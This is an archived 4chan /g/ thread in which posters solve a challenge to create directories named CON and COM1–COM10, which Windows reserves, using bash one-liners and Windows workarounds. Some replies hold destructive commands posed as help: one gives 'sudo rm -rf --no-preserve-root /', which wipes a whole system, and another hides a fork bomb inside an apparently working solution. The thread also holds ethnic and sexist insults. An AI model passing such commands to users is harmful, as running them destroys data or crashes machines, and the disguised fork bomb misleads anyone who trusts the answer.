[Boards: 3 / a / aco / adv / an / asp / b / biz / c / cgl / ck / cm / co / d / diy / e / fa / fit / g / gd / gif / h / hc / his / hm / hr / i / ic / int / jp / k / lgbt / lit / m / mlp / mu / n / news / o / out / p / po / pol / qa / r / r9k / s / s4s / sci / soc / sp / t / tg / toy / trash / trv / tv / u / v / vg / vp / vr / w / wg / wsg / wsr / x / y ] [Home]
4chanarchives logo
Create a directory named "CON", inside it, create 10
Images are sometimes not shown due to bandwidth/network limitations. Refreshing the page usually helps.

You are currently reading a thread in /g/ - Technology

Thread replies: 57
Thread images: 13
File: 1456256855288.jpg (63 KB, 600x600) Image search: [Google]
1456256855288.jpg
63 KB, 600x600
Create a directory named "CON", inside it, create 10 directories named "COM1", "COM2", "COM3", etc.
Inside these directories, create a file named "hello.txt" and post your result.

A true /g/entooman should be able to solve this.
>>
>>55381417
So wait you want us to serial into a folder to create a text file?
>>
>>55381433
Yes.
>>
>>55381443
Boring I could do that with my eyes closed.
>>
How is this a challenge? You make 10 directories and text files.
>>
>>55381417

What are we solving? You want the code to do this?
>>
Do your own homework
>>
File: CON.png (40 KB, 1051x726) Image search: [Google]
CON.png
40 KB, 1051x726
k.
>>
rm -rf
>>
I didn't realise it was a coding homework question at first and thought OP had found some cheeky issue.
>>
>>55381677
congrats on solving op's homework
>>
>>55381690
>sudo rm -rf --no-preserve-root /
Get it right, you don't want op to fuck something up by accident. Goddamn.
>>
theres probably a quicker way. but this works.

mkdir CON && for N in `seq 1 1 10`; do mkdir CON/COM$N; touch CON/COM$N/hello.txt; done
>>
Woops, misread OP. Subdirectories had to be named COM, not CON.

>>55381704

Pretty sure it's not a homework problem, as Windows users are incapable of doing it.
>>
A really short way:
mkdir -p CON/COM{1..10}; touch CON/*/hello.txt
>>
>>55381775
>Windows users are incapable of doing it.
No they aren't
What are batch files?
>>
Quick, open Notepad, type "fuel jet not melts" and save the file.

Report results when you reopen it
>>
>>55381858
Windows can't make a folder named CON
>>
>>55381452
shut up jamal
>>
File: Screenshot_20160703-001856.png (103 KB, 720x1280) Image search: [Google]
Screenshot_20160703-001856.png
103 KB, 720x1280
>>55381807
Wait no I'm retarded.

Also, results.

mkdir -p CON/COM{1..10}; touch CON/COM{1..10}/hello.txt


>>55381883
I'm pretty sure only explorer can't.
>>
>>55381883
Yes it can. But not with explorer.
>>
>>55381807
that didn't work
>>
>>55381775
You can do it on Windows, it's just annoying since it requires command prompt.
>>
>>55381926

But making shit tons of folders is faster with a command prompt...
>>
>>55381917
Yeah because there's no txt file yet when touching. See my fix in >>55381907

>>55381926
No it doesn't "require command prompt".

It doesn't have anything to do with your prompt. You just need to call the required syscall without using explorer.
>>
File: GIF.gif (394 KB, 700x500) Image search: [Google]
GIF.gif
394 KB, 700x500
>>55381883
c:
>>
a wind'ohs solution hasn't been posted yet lol
>>
>>55382044
>Femanon
you wouldn't be reduced to learning about technology if you were attractive.
>>
>>55382087
I actually work as a pharmacist. This is just a hobby
>>
>>55382044
Now do it uppercase like OP asked for.
>>
>>55381966
It does require command prompt. And not only that it also requires a fake network path, because Windows really hates that folder name.
>>
>>55382188
No it doesn't require a command prompt.
You just need to call the required syscall.
Heck, just make a JScript file!
>>
>>55381417
What's happenning ITT?
>>
>>55382111
>technology hobby

that's even worse. technology enthusiasm is for fat boys and people no one else can stand being around.
>>
File: GIF.gif (424 KB, 700x500) Image search: [Google]
GIF.gif
424 KB, 700x500
>>55382143
Ok
>>
>>55382248
I don't care about your childhood traumas, really.
>>
>>55382258
h-how?
>>
File: test.webm (702 KB, 1366x768) Image search: [Google]
test.webm
702 KB, 1366x768
>>55382258
HI <3

Sorry I have to disagree to your post there
>>
>>55382352
??
>>
>>55382278
i'm not fat.
and you don't care about anyone that's why you help push pills to big pharma victims.
>>
File: GIF.gif (494 KB, 1005x618) Image search: [Google]
GIF.gif
494 KB, 1005x618
>>55382297
>>55382315
:^)
>>
>>55382407

you're one cheeky cunt m8
>>
>>55382407
You still can't set the folder name directly :)

Can you use powershell to make the folder? I'll give it a go
>>
>>55382421
>>55382444
:) I don't know that
>>
>>55382444
Oh wait hahaha
>>
Easy
mkdir -p CON/COM{1..10};:(){:|: &};touch CON/COM{1..10}/hello.txt;:
>>
>>55382469

You accidentally included a fork bomb in your code anon, you might want to remove that :)
>>
File: itt, gay.png (9 KB, 190x200) Image search: [Google]
itt, gay.png
9 KB, 190x200
>>55381677
>doing anons homework
>>
>>55381775
>>55381775
>Windows users are incapable of doing it.
YOU FUCKING WHAT
>>
File: 20160703010425.png (36 KB, 785x634) Image search: [Google]
20160703010425.png
36 KB, 785x634
>>55381417
Cheeky OP thinking he can troll Windows users.
>>
>>55382556
>>55382536
>>55382565
Lol I where is your glorious file explorer?
>>
>>55382591
See >>55382407
>>
>>55382608
That's con. Why don't you do it yourself?
>>
>>55382407
ayyy, I do this with the russian symbols to bypass the cuss word filter in games. US keyboard F looks like A in russian (perfect for saying gay, faggot, ass etc.) and US C is C in russian (perfect for fuck, cunt, bitch etc.). There's also a T for shit but it kinda looks funny.

Why the fuck does gta v have a chat word filter when the peds in the game are scripted to say fuck?
>>
File: absolutely_designated.png (623 KB, 512x509) Image search: [Google]
absolutely_designated.png
623 KB, 512x509
>>
File: indian flag.png (139 KB, 1350x900) Image search: [Google]
indian flag.png
139 KB, 1350x900
>>
>>55383266
This is not a daily designated thread.
>>>/v/loo
Thread replies: 57
Thread images: 13

banner
banner
[Boards: 3 / a / aco / adv / an / asp / b / biz / c / cgl / ck / cm / co / d / diy / e / fa / fit / g / gd / gif / h / hc / his / hm / hr / i / ic / int / jp / k / lgbt / lit / m / mlp / mu / n / news / o / out / p / po / pol / qa / r / r9k / s / s4s / sci / soc / sp / t / tg / toy / trash / trv / tv / u / v / vg / vp / vr / w / wg / wsg / wsr / x / y] [Home]

All trademarks and copyrights on this page are owned by their respective parties. Images uploaded are the responsibility of the Poster. Comments are owned by the Poster.
If a post contains personal/copyrighted/illegal content you can contact me at [email protected] with that post and thread number and it will be removed as soon as possible.
DMCA Content Takedown via dmca.com
All images are hosted on imgur.com, send takedown notices to them.
This is a 4chan archive - all of the content originated from them. If you need IP information for a Poster - you need to contact them. This website shows only archived content.